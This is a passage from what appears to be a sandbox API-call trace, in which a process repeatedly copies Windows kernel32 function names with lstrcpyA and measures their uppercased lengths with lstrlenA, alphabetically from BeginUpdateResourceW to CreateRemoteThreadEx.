returned="BeginUpdateResourceW" [0104.430] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0104.430] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0104.430] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0104.430] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0104.430] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0104.430] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0104.430] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0104.431] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0104.431] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0104.431] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0104.431] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0104.431] lstrlenA (lpString="CANCELIO") returned 8 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0104.431] lstrlenA (lpString="CANCELIOEX") returned 10 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0104.431] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0104.431] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0104.431] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0104.431] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0104.431] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0104.431] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0104.431] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0104.431] lstrlenA (lpString="CHECKELEVATION") returned 14 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0104.431] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0104.431] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0104.431] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0104.431] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0104.432] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0104.432] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0104.432] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0104.432] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0104.432] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0104.432] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0104.432] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0104.432] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0104.432] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0104.432] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0104.432] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0104.432] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0104.432] lstrlenA (lpString="CLOSESTATE") returned 10 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0104.432] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0104.432] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0104.432] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0104.432] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0104.433] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0104.433] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0104.433] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0104.433] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0104.433] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0104.433] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0104.433] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0104.433] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0104.433] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0104.433] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0104.433] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0104.433] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0104.433] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0104.433] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0104.433] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0104.433] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0104.433] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0104.434] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0104.434] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0104.434] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0104.434] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0104.434] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0104.434] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0104.434] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0104.434] lstrlenA (lpString="COPYCONTEXT") returned 11 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0104.434] lstrlenA (lpString="COPYFILE2") returned 9 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0104.434] lstrlenA (lpString="COPYFILEA") returned 9 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0104.434] lstrlenA (lpString="COPYFILEEXA") returned 11 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0104.434] lstrlenA (lpString="COPYFILEEXW") returned 11 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0104.434] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0104.434] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0104.434] lstrlenA (lpString="COPYFILEW") returned 9 [0104.434] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0104.434] lstrlenA (lpString="COPYLZFILE") returned 10 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0104.435] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0104.435] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0104.435] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0104.435] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0104.435] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0104.435] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0104.435] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0104.435] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0104.435] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0104.435] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0104.435] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0104.435] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0104.435] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0104.435] lstrlenA (lpString="CREATEEVENTA") returned 12 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0104.435] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0104.435] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0104.435] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0104.436] lstrlenA (lpString="CREATEEVENTW") returned 12 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0104.436] lstrlenA (lpString="CREATEFIBER") returned 11 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0104.436] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0104.436] lstrlenA (lpString="CREATEFILE2") returned 11 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0104.436] lstrlenA (lpString="CREATEFILEA") returned 11 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0104.436] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0104.436] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0104.436] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0104.436] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0104.436] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0104.436] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0104.436] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0104.436] lstrlenA (lpString="CREATEFILEW") returned 11 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0104.436] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0104.436] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0104.436] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0104.437] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0104.437] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0104.437] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0104.437] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0104.437] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0104.437] lstrlenA (lpString="CREATEJOBSET") returned 12 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0104.437] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0104.437] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0104.437] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0104.437] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0104.437] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0104.437] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0104.437] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0104.437] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0104.437] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0104.437] lstrlenA (lpString="CREATEPIPE") returned 10 [0104.437] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0104.438] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0104.438] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0104.438] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0104.438] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0104.438] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0104.438] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0104.438] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0104.438] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0104.438] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0104.438] lstrcpyA (in: lpString1=0x2e7f1a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0104.438] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0104.438] lstrcpyA (in: 